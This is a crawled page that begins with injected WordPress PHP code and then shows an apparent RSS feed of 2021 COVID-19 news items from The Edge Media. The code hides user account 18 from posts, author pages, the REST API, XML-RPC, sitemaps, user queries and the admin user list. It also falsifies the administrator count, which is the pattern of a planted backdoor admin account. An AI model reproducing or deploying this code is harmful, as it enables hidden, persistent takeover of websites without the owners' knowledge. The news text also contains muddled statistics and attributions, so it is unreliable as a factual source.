add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>In the last 24 hours, India has reported 35,178 new Covid-19 cases, with 440 deaths</title>
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					<description><![CDATA[<p>According to the Union Health Ministry, India has reported 35,178 new Covid-19 cases in the last 24 hours. With 440 more deaths, the total number of persons who have died currently stands at 4,32,519 people. The number of active cases in India has decreased to 3,67,415. According to a statement from the Ministry of Health, [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/in-the-last-24-hours-india-has-reported-35178-new-covid-19-cases-with-440-deaths">In the last 24 hours, India has reported 35,178 new Covid-19 cases, with 440 deaths</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>According to the Union Health Ministry, India has reported 35,178 new Covid-19 cases in the last 24 hours. With 440 more deaths, the total number of persons who have died currently stands at 4,32,519 people.</p>
<p>The number of active cases in India has decreased to 3,67,415. According to a statement from the Ministry of Health, active cases account for 1.14 percent of overall cases, the lowest level since March 2020.</p>
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<p>India&#8217;s recovery rate, on the other hand, is currently at 97.52 percent, the highest since March 2020. Meanwhile, the Covid-19 immunization coverage has surpassed the 56-crore mark.</p>
<p>The post <a href="https://theedgemedia.in/in-the-last-24-hours-india-has-reported-35178-new-covid-19-cases-with-440-deaths">In the last 24 hours, India has reported 35,178 new Covid-19 cases, with 440 deaths</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Delta Variant Can Affect People With Both Doses Of Vaccination</title>
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		<pubDate>Tue, 27 Jul 2021 13:59:25 +0000</pubDate>
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					<description><![CDATA[<p>The contagious Delta form, as per virologists and epidemiologists, is likely to infect even vaccinated persons at a faster rate than earlier variants. Vaccine coverage, on the other hand, remains the best defense against serious illness, and that those really at danger will always be those who have not been immunized. SARS-CoV-2 is continually turning [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/delta-variant-can-affect-people-with-both-doses-of-vaccination">Delta Variant Can Affect People With Both Doses Of Vaccination</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>The contagious Delta form, as per virologists and epidemiologists, is likely to infect even vaccinated persons at a faster rate than earlier variants. Vaccine coverage, on the other hand, remains the best defense against serious illness, and that those really at danger will always be those who have not been immunized.</p>
<p>SARS-CoV-2 is continually turning and gaining genetic alterations as it travels across countries. As a result, new variations emerge that are considerably more deadly than the initial. According to Public Health England, 58.3 percent of the 3,692 individuals admitted in the UK with the Delta strain were unvaccinated, while 22.8 were completely immunized.</p>
<p>The post <a href="https://theedgemedia.in/delta-variant-can-affect-people-with-both-doses-of-vaccination">Delta Variant Can Affect People With Both Doses Of Vaccination</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Lambda Variant: Everything You Need To Know About This Strain</title>
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		<pubDate>Mon, 12 Jul 2021 15:34:46 +0000</pubDate>
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					<description><![CDATA[<p>As rumors about the already dominant Delta strain continue to cause chaos across countries, a more recently found lineage, Lambda, has swept the globe by storm, having been designated as a variation of interest by WHO on 15 June 2021. In a recent announcement, WHO stated that &#8220;lambda has been associated with significant levels of [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/lambda-variant-everything-you-need-to-know-about-this-strain">Lambda Variant: Everything You Need To Know About This Strain</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>As rumors about the already dominant Delta strain continue to cause chaos across countries, a more recently found lineage, Lambda, has swept the globe by storm, having been designated as a variation of interest by WHO on 15 June 2021.</p>
<p>In a recent announcement, WHO stated that &#8220;lambda has been associated with significant levels of communal transmission in various countries, with growing frequency over time coincident with growing Covid-19 occurrence,&#8221; and that further research into the variation will be conducted.</p>
<p>In August 2020, the lambda virus had its genesis in Peru. With 81 percent of all COVID-19 cases attributable to it, the Malaysian health ministry has declared this strain to be scarier than Delta.</p>
<p>The post <a href="https://theedgemedia.in/lambda-variant-everything-you-need-to-know-about-this-strain">Lambda Variant: Everything You Need To Know About This Strain</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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